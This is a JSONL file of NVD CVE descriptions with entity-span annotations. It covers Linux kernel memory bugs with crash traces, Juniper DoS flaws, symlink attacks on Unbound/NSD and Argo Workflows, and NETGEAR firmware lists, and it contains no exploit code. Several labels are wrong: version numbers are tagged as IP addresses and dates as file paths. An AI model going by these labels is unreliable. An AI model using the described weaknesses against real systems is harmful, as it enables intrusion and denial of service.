{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/port: Hold port reference until decoder release\n\nKASAN + DEBUG_KOBJECT_RELEASE reports a potential use-after-free in\ncxl_decoder_release() where it goes to reference its parent, a cxl_port,\nto free its id back to port->decoder_ida.\n\n BUG: KASAN: use-after-free in to_cxl_port+0x18/0x90 [cxl_core]\n Read of size 8 at addr ffff888119270908 by task kworker/35:2/379\n\n CPU: 35 PID: 379 Comm: kworker/35:2 Tainted: G           OE     5.17.0-rc2+ #198\n Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015\n Workqueue: events kobject_delayed_cleanup\n Call Trace:\n  <TASK>\n  dump_stack_lvl+0x59/0x73\n  print_address_description.constprop.0+0x1f/0x150\n  ? to_cxl_port+0x18/0x90 [cxl_core]\n  kasan_report.cold+0x83/0xdf\n  ? to_cxl_port+0x18/0x90 [cxl_core]\n  to_cxl_port+0x18/0x90 [cxl_core]\n  cxl_decoder_release+0x2a/0x60 [cxl_core]\n  device_release+0x5f/0x100\n  kobject_cleanup+0x80/0x1c0\n\nThe device core only guarantees parent lifetime until all children are\nunregistered. If a child needs a parent to complete its ->release()\ncallback that child needs to hold a reference to extend the lifetime of\nthe parent.", "spans": {"FILEPATH: /06/2015": [[585, 593]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[535, 539]], "VULNERABILITY: use-after-free": [[172, 186], [319, 333]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49223"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: kprobe: Fix potential null-ptr-deref on trace_event_file in kprobe_event_gen_test_exit()\n\nWhen trace_get_event_file() failed, gen_kretprobe_test will be assigned\nas the error code. If module kprobe_event_gen_test is removed now, the\nnull pointer dereference will happen in kprobe_event_gen_test_exit().\nCheck if gen_kprobe_test or gen_kretprobe_test is error code or NULL\nbefore dereference them.\n\nBUG: kernel NULL pointer dereference, address: 0000000000000012\nPGD 0 P4D 0\nOops: 0000 [#1] SMP PTI\nCPU: 3 PID: 2210 Comm: modprobe Not tainted\n6.1.0-rc1-00171-g2159299a3b74-dirty #217\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\nrel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org 04/01/2014\nRIP: 0010:kprobe_event_gen_test_exit+0x1c/0xb5 [kprobe_event_gen_test]\nCode: Unable to access opcode bytes at 0xffffffff9ffffff2.\nRSP: 0018:ffffc900015bfeb8 EFLAGS: 00010246\nRAX: ffffffffffffffea RBX: ffffffffa0002080 RCX: 0000000000000000\nRDX: ffffffffa0001054 RSI: ffffffffa0001064 RDI: ffffffffdfc6349c\nRBP: ffffffffa0000000 R08: 0000000000000004 R09: 00000000001e95c0\nR10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000800\nR13: ffffffffa0002420 R14: 0000000000000000 R15: 0000000000000000\nFS:  00007f56b75be540(0000) GS:ffff88813bc00000(0000)\nknlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: ffffffff9ffffff2 CR3: 000000010874a006 CR4: 0000000000330ee0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n __x64_sys_delete_module+0x206/0x380\n ? lockdep_hardirqs_on_prepare+0xd8/0x190\n ? syscall_enter_from_user_mode+0x1c/0x50\n do_syscall_64+0x3f/0x90\n entry_SYSCALL_64_after_hwframe+0x63/0xcd", "spans": {"DOMAIN: rel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org": [[721, 765]], "FILEPATH: /01/2014": [[768, 776]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[676, 680]], "VULNERABILITY: null pointer dereference": [[311, 335]], "VULNERABILITY: NULL pointer dereference": [[488, 512]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49797"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: Fix use-after-free in rdata->read_into_pages()\n\nWhen the network status is unstable, use-after-free may occur when\nread data from the server.\n\n  BUG: KASAN: use-after-free in readpages_fill_pages+0x14c/0x7e0\n\n  Call Trace:\n   <TASK>\n   dump_stack_lvl+0x38/0x4c\n   print_report+0x16f/0x4a6\n   kasan_report+0xb7/0x130\n   readpages_fill_pages+0x14c/0x7e0\n   cifs_readv_receive+0x46d/0xa40\n   cifs_demultiplex_thread+0x121c/0x1490\n   kthread+0x16b/0x1a0\n   ret_from_fork+0x2c/0x50\n   </TASK>\n\n  Allocated by task 2535:\n   kasan_save_stack+0x22/0x50\n   kasan_set_track+0x25/0x30\n   __kasan_kmalloc+0x82/0x90\n   cifs_readdata_direct_alloc+0x2c/0x110\n   cifs_readdata_alloc+0x2d/0x60\n   cifs_readahead+0x393/0xfe0\n   read_pages+0x12f/0x470\n   page_cache_ra_unbounded+0x1b1/0x240\n   filemap_get_pages+0x1c8/0x9a0\n   filemap_read+0x1c0/0x540\n   cifs_strict_readv+0x21b/0x240\n   vfs_read+0x395/0x4b0\n   ksys_read+0xb8/0x150\n   do_syscall_64+0x3f/0x90\n   entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\n  Freed by task 79:\n   kasan_save_stack+0x22/0x50\n   kasan_set_track+0x25/0x30\n   kasan_save_free_info+0x2e/0x50\n   __kasan_slab_free+0x10e/0x1a0\n   __kmem_cache_free+0x7a/0x1a0\n   cifs_readdata_release+0x49/0x60\n   process_one_work+0x46c/0x760\n   worker_thread+0x2a4/0x6f0\n   kthread+0x16b/0x1a0\n   ret_from_fork+0x2c/0x50\n\n  Last potentially related work creation:\n   kasan_save_stack+0x22/0x50\n   __kasan_record_aux_stack+0x95/0xb0\n   insert_work+0x2b/0x130\n   __queue_work+0x1fe/0x660\n   queue_work_on+0x4b/0x60\n   smb2_readv_callback+0x396/0x800\n   cifs_abort_connection+0x474/0x6a0\n   cifs_reconnect+0x5cb/0xa50\n   cifs_readv_from_socket.cold+0x22/0x6c\n   cifs_read_page_from_socket+0xc1/0x100\n   readpages_fill_pages.cold+0x2f/0x46\n   cifs_readv_receive+0x46d/0xa40\n   cifs_demultiplex_thread+0x121c/0x1490\n   kthread+0x16b/0x1a0\n   ret_from_fork+0x2c/0x50\n\nThe following function calls will cause UAF of the rdata pointer.\n\nreadpages_fill_pages\n cifs_read_page_from_socket\n  cifs_readv_from_socket\n   cifs_reconnect\n    __cifs_reconnect\n     cifs_abort_connection\n      mid->callback() --> smb2_readv_callback\n       queue_work(&rdata->work)  # if the worker completes first,\n                                 # the rdata is freed\n          cifs_readv_complete\n            kref_put\n              cifs_readdata_release\n                kfree(rdata)\n return rdata->...               # UAF in readpages_fill_pages()\n\nSimilarly, this problem also occurs in the uncache_fill_pages().\n\nFix this by adjusts the order of condition judgment in the return\nstatement.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[79, 93], [160, 174], [232, 246]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52741"}}
{"text": "NLnet Labs Unbound, up to and including version 1.12.0, and NLnet Labs NSD, up to and including version 4.3.3, contain a local vulnerability that would allow for a local symlink attack. When writing the PID file, Unbound and NSD create the file if it is not there, or open an existing file for writing. In case the file was already present, they would follow symlinks if the file happened to be a symlink instead of a regular file. An additional chown of the file would then take place after it was written, making the user Unbound/NSD is supposed to run as the new owner of the file. If an attacker has local access to the user Unbound/NSD runs as, she could create a symlink in place of the PID file pointing to a file that she would like to erase. If then Unbound/NSD is killed and the PID file is not cleared, upon restarting with root privileges, Unbound/NSD will rewrite any file pointed at by the symlink. This is a local vulnerability that could create a Denial of Service of the system Unbound/NSD is running on. It requires an attacker having access to the limited permission user Unbound/NSD runs as and point through the symlink to a critical file on the system.", "spans": {"VULNERABILITY: Denial of Service": [[963, 980]], "VULNERABILITY: symlink": [[170, 177], [397, 404], [669, 676], [904, 911], [1133, 1140]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-28935"}}
{"text": "An Out-of-bounds Read vulnerability in the processing of specially crafted LLDP frames by the Layer 2 Control Protocol Daemon (l2cpd) of Juniper Networks Junos OS and Junos OS Evolved may allow an attacker to cause a Denial of Service (DoS), or may lead to remote code execution (RCE). Continued receipt and processing of these frames, sent from the local broadcast domain, will repeatedly crash the l2cpd process and sustain the Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS: 12.3 versions prior to 12.3R12-S18; 15.1 versions prior to 15.1R7-S9; 17.3 versions prior to 17.3R3-S12; 17.4 versions prior to 17.4R2-S13, 17.4R3-S5; 18.1 versions prior to 18.1R3-S13; 18.2 versions prior to 18.2R3-S8; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R2-S8, 18.4R3-S8; 19.1 versions prior to 19.1R3-S5; 19.2 versions prior to 19.2R3-S3; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S4, 19.4R2-S4, 19.4R3-S3; 20.1 versions prior to 20.1R2-S2, 20.1R3; 20.2 versions prior to 20.2R3-S1; 20.3 versions prior to 20.3R2-S1, 20.3R3; 20.4 versions prior to 20.4R2. Juniper Networks Junos OS Evolved versions prior to 20.4R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[137, 144], [485, 492], [1129, 1136]], "VULNERABILITY: remote code execution": [[257, 278]], "VULNERABILITY: Out-of-bounds Read": [[3, 21]], "VULNERABILITY: Denial of Service": [[217, 234], [430, 447]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0277"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/shmem, swap: fix race of truncate and swap entry split\n\nThe helper for shmem swap freeing is not handling the order of swap\nentries correctly.  It uses xa_cmpxchg_irq to erase the swap entry, but it\ngets the entry order before that using xa_get_order without lock\nprotection, and it may get an outdated order value if the entry is split\nor changed in other ways after the xa_get_order and before the\nxa_cmpxchg_irq.\n\nAnd besides, the order could grow and be larger than expected, and cause\ntruncation to erase data beyond the end border.  For example, if the\ntarget entry and following entries are swapped in or freed, then a large\nfolio was added in place and swapped out, using the same entry, the\nxa_cmpxchg_irq will still succeed, it's very unlikely to happen though.\n\nTo fix that, open code the Xarray cmpxchg and put the order retrieval and\nvalue checking in the same critical section.  Also, ensure the order won't\nexceed the end border, skip it if the entry goes across the border.\n\nSkipping large swap entries crosses the end border is safe here.  Shmem\ntruncate iterates the range twice, in the first iteration,\nfind_lock_entries already filtered such entries, and shmem will swapin the\nentries that cross the end border and partially truncate the folio (split\nthe folio or at least zero part of it).  So in the second loop here, if we\nsee a swap entry that crosses the end order, it must at least have its\ncontent erased already.\n\nI observed random swapoff hangs and kernel panics when stress testing\nZSWAP with shmem.  After applying this patch, all problems are gone.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23161"}}
{"text": "On Juniper Networks Junos OS and Junos OS Evolved devices processing a specially crafted BGP UPDATE or KEEPALIVE message can lead to a routing process daemon (RPD) crash and restart, causing a Denial of Service (DoS). Continued receipt and processing of this message will create a sustained Denial of Service (DoS) condition. This issue affects both IBGP and EBGP deployments over IPv4 or IPv6. This issue affects: Juniper Networks Junos OS: 17.3 versions prior to 17.3R3-S11; 17.4 versions prior to 17.4R2-S13, 17.4R3-S4; 18.1 versions prior to 18.1R3-S12; 18.2 versions prior to 18.2R2-S8, 18.2R3-S7; 18.3 versions prior to 18.3R3-S4; 18.4 versions prior to 18.4R1-S8, 18.4R2-S7, 18.4R3-S7; 19.1 versions prior to 19.1R1-S6, 19.1R2-S2, 19.1R3-S4; 19.2 versions prior to 19.2R1-S6, 19.2R3-S1; 19.3 versions prior to 19.3R2-S5, 19.3R3-S1; 19.4 versions prior to 19.4R1-S4, 19.4R1-S4, 19.4R2-S3, 19.4R3-S1; 20.1 versions prior to 20.1R2; 20.2 versions prior to 20.2R2; 20.3 versions prior to 20.3R1-S1, 20.3R2. Juniper Networks Junos OS Evolved: 20.3 versions prior to 20.3R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[3, 10], [415, 422], [1010, 1017]], "VULNERABILITY: Denial of Service": [[193, 210], [291, 308]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31374"}}
{"text": "Vulnerability in the Oracle Communications Session Border Controller product of Oracle Communications Applications (component: System Admin). Supported versions that are affected are 8.1.0, 8.2.0 and 8.3.0. Easily exploitable vulnerability allows low privileged attacker with network access via SSH to compromise Oracle Communications Session Border Controller. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Communications Session Border Controller, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Communications Session Border Controller accessible data as well as unauthorized update, insert or delete access to some of Oracle Communications Session Border Controller accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Communications Session Border Controller. CVSS 3.1 Base Score 8.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [80, 86], [313, 319], [479, 485], [700, 706], [831, 837], [974, 980]], "VULNERABILITY: denial of service": [[939, 956]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14580"}}
{"text": "The /rest/api/1.0/render resource in Jira Server and Data Center before version 8.5.13, from version 8.6.0 before version 8.13.5, and from version 8.14.0 before version 8.15.1 allows remote anonymous attackers to determine if a username is valid or not via a missing permissions check.", "spans": {"FILEPATH: /rest/api/1.0/render": [[4, 24]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36238"}}
{"text": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Versions 3.6.13 and below and versions 3.7.0 through 3.7.4, contain unsafe untar code that handles symbolic links in archives. Concretely, the computation of a link's target and the subsequent check are flawed. An attacker can overwrite the file /var/run/argo/argoexec with a script of their choice, which would be executed at the pod's start. The patch deployed against CVE-2025-62156 is ineffective against malicious archives containing symbolic links. This issue is fixed in versions 3.6.14 and 3.7.5.", "spans": {"CVE_ID: CVE-2025-62156": [[484, 498]], "FILEPATH: /var/run/argo/argoexec": [[359, 381]], "SYSTEM: Kubernetes": [[101, 111]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-66626"}}
{"text": "Synapse is a Matrix protocol homeserver written in Python with the Twisted framework. In affected versions it may be possible for a deactivated user to login when using uncommon configurations. This only applies if any of the following are true: 1. JSON Web Tokens are enabled for login via the `jwt_config.enabled` configuration setting. 2. The local password database is enabled via the `password_config.enabled` and `password_config.localdb_enabled` configuration settings *and* a user's password is updated via an admin API after a user is deactivated. Note that the local password database is enabled by default, but it is uncommon to set a user's password after they've been deactivated. Installations that are configured to only allow login via Single Sign-On (SSO) via CAS, SAML or OpenID Connect (OIDC); or via an external password provider (e.g. LDAP) are not affected. If not using JSON Web Tokens, ensure that deactivated users do not have a password set. This issue has been addressed in version 1.85.0. Users are advised to upgrade.", "spans": {"SYSTEM: Python": [[51, 57]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-32682"}}
{"text": "OpenZeppelin Contracts is a library for secure smart contract development. Starting in version 5.2.0 and prior to version 5.4.0, the `lastIndexOf(bytes,byte,uint256)` function of the `Bytes.sol` library may access uninitialized memory when the following two conditions hold: 1) the provided buffer length is empty (i.e. `buffer.length == 0`) and position is not `2**256 - 1` (i.e. `pos != type(uint256).max`). The `pos` argument could be used to access arbitrary data outside of the buffer bounds. This could lead to the operation running out of gas, or returning an invalid index (outside of the empty buffer). Processing this invalid result for accessing the `buffer` would cause a revert under normal conditions. When triggered, the function reads memory at offset `buffer + 0x20 + pos`. If memory at that location (outside the `buffer`) matches the search pattern, the function would return an out of bound index instead of the expected `type(uint256).max`. This creates unexpected behavior where callers receive a valid-looking index pointing outside buffer bounds. Subsequent memory accesses that don't check bounds and use the returned index must carefully review the potential impact depending on their setup. Code relying on this function returning `type(uint256).max` for empty buffers or using the returned index without bounds checking could exhibit undefined behavior. Users should upgrade to version 5.4.0 to receive a patch.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-54070"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid racing on fsync_entry_slab by multi filesystem instances\n\nAs syzbot reported, there is an use-after-free issue during f2fs recovery:\n\nUse-after-free write at 0xffff88823bc16040 (in kfence-#10):\n kmem_cache_destroy+0x1f/0x120 mm/slab_common.c:486\n f2fs_recover_fsync_data+0x75b0/0x8380 fs/f2fs/recovery.c:869\n f2fs_fill_super+0x9393/0xa420 fs/f2fs/super.c:3945\n mount_bdev+0x26c/0x3a0 fs/super.c:1367\n legacy_get_tree+0xea/0x180 fs/fs_context.c:592\n vfs_get_tree+0x86/0x270 fs/super.c:1497\n do_new_mount fs/namespace.c:2905 [inline]\n path_mount+0x196f/0x2be0 fs/namespace.c:3235\n do_mount fs/namespace.c:3248 [inline]\n __do_sys_mount fs/namespace.c:3456 [inline]\n __se_sys_mount+0x2f9/0x3b0 fs/namespace.c:3433\n do_syscall_64+0x3f/0xb0 arch/x86/entry/common.c:47\n entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nThe root cause is multi f2fs filesystem instances can race on accessing\nglobal fsync_entry_slab pointer, result in use-after-free issue of slab\ncache, fixes to init/destroy this slab cache only once during module\ninit/destroy procedure to avoid this issue.", "spans": {"FILEPATH: /f2fs/recovery.c": [[375, 391]], "FILEPATH: /f2fs/super.c": [[429, 442]], "FILEPATH: /x86/entry/common.c": [[827, 846]], "FILEPATH: slab_common.c": [[316, 329]], "FILEPATH: super.c": [[475, 482], [564, 571]], "FILEPATH: fs_context.c": [[519, 531]], "FILEPATH: namespace.c": [[594, 605], [649, 660], [679, 690], [724, 735], [781, 792]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[178, 192], [1008, 1022]], "VULNERABILITY: Use-after-free": [[222, 236]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47335"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfirmware: dmi-sysfs: Fix null-ptr-deref in dmi_sysfs_register_handle\n\nKASAN reported a null-ptr-deref error:\n\nKASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]\nCPU: 0 PID: 1373 Comm: modprobe\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996)\nRIP: 0010:dmi_sysfs_entry_release\n...\nCall Trace:\n <TASK>\n kobject_put\n dmi_sysfs_register_handle (drivers/firmware/dmi-sysfs.c:540) dmi_sysfs\n dmi_decode_table (drivers/firmware/dmi_scan.c:133)\n dmi_walk (drivers/firmware/dmi_scan.c:1115)\n dmi_sysfs_init (drivers/firmware/dmi-sysfs.c:149) dmi_sysfs\n do_one_initcall (init/main.c:1296)\n ...\nKernel panic - not syncing: Fatal exception\nKernel Offset: 0x4000000 from 0xffffffff81000000\n---[ end Kernel panic - not syncing: Fatal exception ]---\n\nIt is because previous patch added kobject_put() to release the memory\nwhich will call  dmi_sysfs_entry_release() and list_del().\n\nHowever, list_add_tail(entry->list) is called after the error block,\nso the list_head is uninitialized and cannot be deleted.\n\nMove error handling to after list_add_tail to fix this.", "spans": {"FILEPATH: /firmware/dmi-sysfs.c": [[442, 463], [600, 621]], "FILEPATH: /firmware/dmi_scan.c": [[505, 525], [549, 569]], "FILEPATH: main.c": [[660, 666]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[297, 301]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53250"}}
{"text": "A vulnerability has been identified in SIMATIC HMI Comfort Outdoor Panels V15 7\\\" & 15\\\" (incl. SIPLUS variants) (All versions < V15.1 Update 6), SIMATIC HMI Comfort Outdoor Panels V16 7\\\" & 15\\\" (incl. SIPLUS variants) (All versions < V16 Update 4), SIMATIC HMI Comfort Panels V15 4\\\" - 22\\\" (incl. SIPLUS variants) (All versions < V15.1 Update 6), SIMATIC HMI Comfort Panels V16 4\\\" - 22\\\" (incl. SIPLUS variants) (All versions < V16 Update 4), SIMATIC HMI KTP Mobile Panels V15 KTP400F, KTP700, KTP700F, KTP900 and KTP900F (All versions < V15.1 Update 6), SIMATIC HMI KTP Mobile Panels V16 KTP400F, KTP700, KTP700F, KTP900 and KTP900F (All versions < V16 Update 4), SIMATIC WinCC Runtime Advanced V15 (All versions < V15.1 Update 6), SIMATIC WinCC Runtime Advanced V16 (All versions < V16 Update 4), SINAMICS GH150 (All versions), SINAMICS GL150 (with option X30) (All versions), SINAMICS GM150 (with option X30) (All versions), SINAMICS SH150 (All versions), SINAMICS SL150 (All versions), SINAMICS SM120 (All versions), SINAMICS SM150 (All versions), SINAMICS SM150i (All versions). SmartVNC has a heap allocation leak vulnerability in the device layout handler on client side, which could result in a Denial-of-Service condition.", "spans": {"VULNERABILITY: Denial-of-Service": [[1207, 1224]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-27386"}}
{"text": "Certain NETGEAR devices are affected by incorrect configuration of security settings. This affects AC2100 before 1.2.0.72, AC2400 before 1.2.0.72, AC2600 before 1.2.0.72, CBK40 before 2.5.0.10, CBR40 before 2.5.0.10, D6000 before 1.0.0.80, D6220 before 1.0.0.60, D6400 before 1.0.0.94, D7000v2 before 1.0.0.62, D7800 before 1.0.3.48, D8500 before 1.0.3.50, DC112A before 1.0.0.48, DGN2200v4 before 1.0.0.114, DM200 before 1.0.0.66, EAX20 before 1.0.0.36, EAX80 before 1.0.1.62, EX2700 before 1.0.1.58, EX3110 before 1.0.1.68, EX3700 before 1.0.0.84, EX3800 before 1.0.0.84, EX3920 before 1.0.0.84, EX6000 before 1.0.0.44, EX6100v2 before 1.0.1.94, EX6110 before 1.0.1.68, EX6120 before 1.0.0.54, EX6130 before 1.0.0.36, EX6150v1 before 1.0.0.46, EX6150v2 before 1.0.1.94, EX6200v1 before 1.0.3.94, EX6250 before 1.0.0.128, EX6400 before 1.0.2.152, EX6400v2 before 1.0.0.128, EX6410 before 1.0.0.128, EX6920 before 1.0.0.54, EX7000 before 1.0.1.90, EX7300 before 1.0.2.152, EX7300v2 before 1.0.0.128, EX7320 before 1.0.0.128, EX7500 before 1.0.0.68, EX7700 before 1.0.0.210, EX8000 before 1.0.1.224, MK62 before 1.0.5.102, MR60 before 1.0.5.102, MS60 before 1.0.5.102, R6120 before 1.0.0.70, R6220 before 1.1.0.100, R6230 before 1.1.0.100, R6250 before 1.0.4.42, R6260 before 1.1.0.76, R6300v2 before 1.0.4.42, R6330 before 1.1.0.76, R6350 before 1.1.0.76, R6400v1 before 1.0.1.62, R6400v2 before 1.0.4.98, R6700v1 before 1.0.2.16, R6700v2 before 1.2.0.72, R6700v3 before 1.0.4.98, R6800 before 1.2.0.72, R6800 before 1.2.0.72, R6850 before 1.1.0.76, R6900 before 1.0.2.16, R6900P before 1.3.2.124, R6900v2 before 1.2.0.72, R7000 before 1.0.11.106, R7000P before 1.3.2.124, R7100LG before 1.0.0.56, R7200 before 1.2.0.72, R7350 before 1.2.0.72, R7400 before 1.2.0.72, R7450 before 1.2.0.72, R7500v2 before 1.0.3.48, R7800 before 1.0.2.74, R7850 before 1.0.5.60, R7900 before 1.0.4.26, R7900P before 1.4.1.62, R7960P before 1.4.1.62, R8000 before 1.0.4.58, R8000P before 1.4.1.62, R8300 before 1.0.2.134, R8500 before 1.0.2.134, R8900 before 1.0.5.24, R9000 before 1.0.5.24, RAX120 before 1.0.1.136, RAX15 before 1.0.1.64, RAX20 before 1.0.1.64, RAX200 before 1.0.5.24, RAX35 before 1.0.3.80, RAX40 before 1.0.3.80, RAX45 before 1.0.2.64, RAX50 before 1.0.2.64, RAX75 before 1.0.3.102, RAX80 before 1.0.3.102, RBK12 before 2.6.1.44, RBR10 before 2.6.1.44, RBS10 before 2.6.1.44, RBK20 before 2.6.1.38, RBR20 before 2.6.1.36, RBS20 before 2.6.1.38, RBK40 before 2.6.1.38, RBR40 before 2.6.1.38, RBS40 before 2.6.1.38, RBK50 before 2.6.1.40, RBR50 before 2.6.1.40, RBS50 before 2.6.1.40, RBK752 before 3.2.16.6, RBR750 before 3.2.16.6, RBS750 before 3.2.16.6, RBK842 before 3.2.16.6, RBR840 before 3.2.16.6, RBS840 before 3.2.16.6, RBK852 before 3.2.16.6, RBR850 before 3.2.16.6, RBS850 before 3.2.16.6, RBS40V before 2.5.1.6, RBS40V-200 before 1.0.0.46, RBS50Y before 2.6.1.40, RBW30 before 2.5.0.4, RS400 before 1.5.0.48, WN2500RPv2 before 1.0.1.56, WN3000RPv3 before 1.0.2.86, WN3500RPv1 before 1.0.0.28, WNDR3400v3 before 1.0.1.32, WNR1000v3 before 1.0.2.78, WNR2000v2 before 1.2.0.12, XR300 before 1.0.3.50, XR450 before 2.3.2.66, XR500 before 2.3.2.66, and XR700 before 1.0.1.34.", "spans": {"IP_ADDRESS: 1.2.0.72": [[113, 121], [137, 145], [161, 169], [1446, 1454], [1494, 1502], [1517, 1525], [1613, 1621], [1711, 1719], [1734, 1742], [1757, 1765], [1780, 1788]], "IP_ADDRESS: 2.5.0.10": [[184, 192], [207, 215]], "IP_ADDRESS: 1.0.0.80": [[230, 238]], "IP_ADDRESS: 1.0.0.60": [[253, 261]], "IP_ADDRESS: 1.0.0.94": [[276, 284]], "IP_ADDRESS: 1.0.0.62": [[301, 309]], "IP_ADDRESS: 1.0.3.48": [[324, 332], [1805, 1813]], "IP_ADDRESS: 1.0.3.50": [[347, 355], [3099, 3107]], "IP_ADDRESS: 1.0.0.48": [[371, 379]], "IP_ADDRESS: 1.0.0.114": [[398, 407]], "IP_ADDRESS: 1.0.0.66": [[422, 430]], "IP_ADDRESS: 1.0.0.36": [[445, 453], [710, 718]], "IP_ADDRESS: 1.0.1.62": [[468, 476], [1371, 1379]], "IP_ADDRESS: 1.0.1.58": [[492, 500]], "IP_ADDRESS: 1.0.1.68": [[516, 524], [662, 670]], "IP_ADDRESS: 1.0.0.84": [[540, 548], [564, 572], [588, 596]], "IP_ADDRESS: 1.0.0.44": [[612, 620]], "IP_ADDRESS: 1.0.1.94": [[638, 646], [762, 770]], "IP_ADDRESS: 1.0.0.54": [[686, 694], [914, 922]], "IP_ADDRESS: 1.0.0.46": [[736, 744], [2841, 2849]], "IP_ADDRESS: 1.0.3.94": [[788, 796]], "IP_ADDRESS: 1.0.0.128": [[812, 821], [864, 873], [889, 898], [989, 998], [1014, 1023]], "IP_ADDRESS: 1.0.2.152": [[837, 846], [962, 971]], "IP_ADDRESS: 1.0.1.90": [[938, 946]], "IP_ADDRESS: 1.0.0.68": [[1039, 1047]], "IP_ADDRESS: 1.0.0.210": [[1063, 1072]], "IP_ADDRESS: 1.0.1.224": [[1088, 1097]], "IP_ADDRESS: 1.0.5.102": [[1111, 1120], [1134, 1143], [1157, 1166]], "IP_ADDRESS: 1.0.0.70": [[1181, 1189]], "IP_ADDRESS: 1.1.0.100": [[1204, 1213], [1228, 1237]], "IP_ADDRESS: 1.0.4.42": [[1252, 1260], [1300, 1308]], "IP_ADDRESS: 1.1.0.76": [[1275, 1283], [1323, 1331], [1346, 1354], [1540, 1548]], "IP_ADDRESS: 1.0.4.98": [[1396, 1404], [1471, 1479]], "IP_ADDRESS: 1.0.2.16": [[1421, 1429], [1563, 1571]], "IP_ADDRESS: 1.3.2.124": [[1587, 1596], [1662, 1671]], "IP_ADDRESS: 1.0.11.106": [[1636, 1646]], "IP_ADDRESS: 1.0.0.56": [[1688, 1696]], "IP_ADDRESS: 1.0.2.74": [[1828, 1836]], "IP_ADDRESS: 1.0.5.60": [[1851, 1859]], "IP_ADDRESS: 1.0.4.26": [[1874, 1882]], "IP_ADDRESS: 1.4.1.62": [[1898, 1906], [1922, 1930], [1969, 1977]], "IP_ADDRESS: 1.0.4.58": [[1945, 1953]], "IP_ADDRESS: 1.0.2.134": [[1992, 2001], [2016, 2025]], "IP_ADDRESS: 1.0.5.24": [[2040, 2048], [2063, 2071], [2158, 2166]], "IP_ADDRESS: 1.0.1.136": [[2087, 2096]], "IP_ADDRESS: 1.0.1.64": [[2111, 2119], [2134, 2142]], "IP_ADDRESS: 1.0.3.80": [[2181, 2189], [2204, 2212]], "IP_ADDRESS: 1.0.2.64": [[2227, 2235], [2250, 2258]], "IP_ADDRESS: 1.0.3.102": [[2273, 2282], [2297, 2306]], "IP_ADDRESS: 2.6.1.44": [[2321, 2329], [2344, 2352], [2367, 2375]], "IP_ADDRESS: 2.6.1.38": [[2390, 2398], [2436, 2444], [2459, 2467], [2482, 2490], [2505, 2513]], "IP_ADDRESS: 2.6.1.36": [[2413, 2421]], "IP_ADDRESS: 2.6.1.40": [[2528, 2536], [2551, 2559], [2574, 2582], [2865, 2873]], "IP_ADDRESS: 3.2.16.6": [[2598, 2606], [2622, 2630], [2646, 2654], [2670, 2678], [2694, 2702], [2718, 2726], [2742, 2750], [2766, 2774], [2790, 2798]], "IP_ADDRESS: 2.5.1.6": [[2814, 2821]], "IP_ADDRESS: 2.5.0.4": [[2888, 2895]], "IP_ADDRESS: 1.5.0.48": [[2910, 2918]], "IP_ADDRESS: 1.0.1.56": [[2938, 2946]], "IP_ADDRESS: 1.0.2.86": [[2966, 2974]], "IP_ADDRESS: 1.0.0.28": [[2994, 3002]], "IP_ADDRESS: 1.0.1.32": [[3022, 3030]], "IP_ADDRESS: 1.0.2.78": [[3049, 3057]], "IP_ADDRESS: 1.2.0.12": [[3076, 3084]], "IP_ADDRESS: 2.3.2.66": [[3122, 3130], [3145, 3153]], "IP_ADDRESS: 1.0.1.34": [[3172, 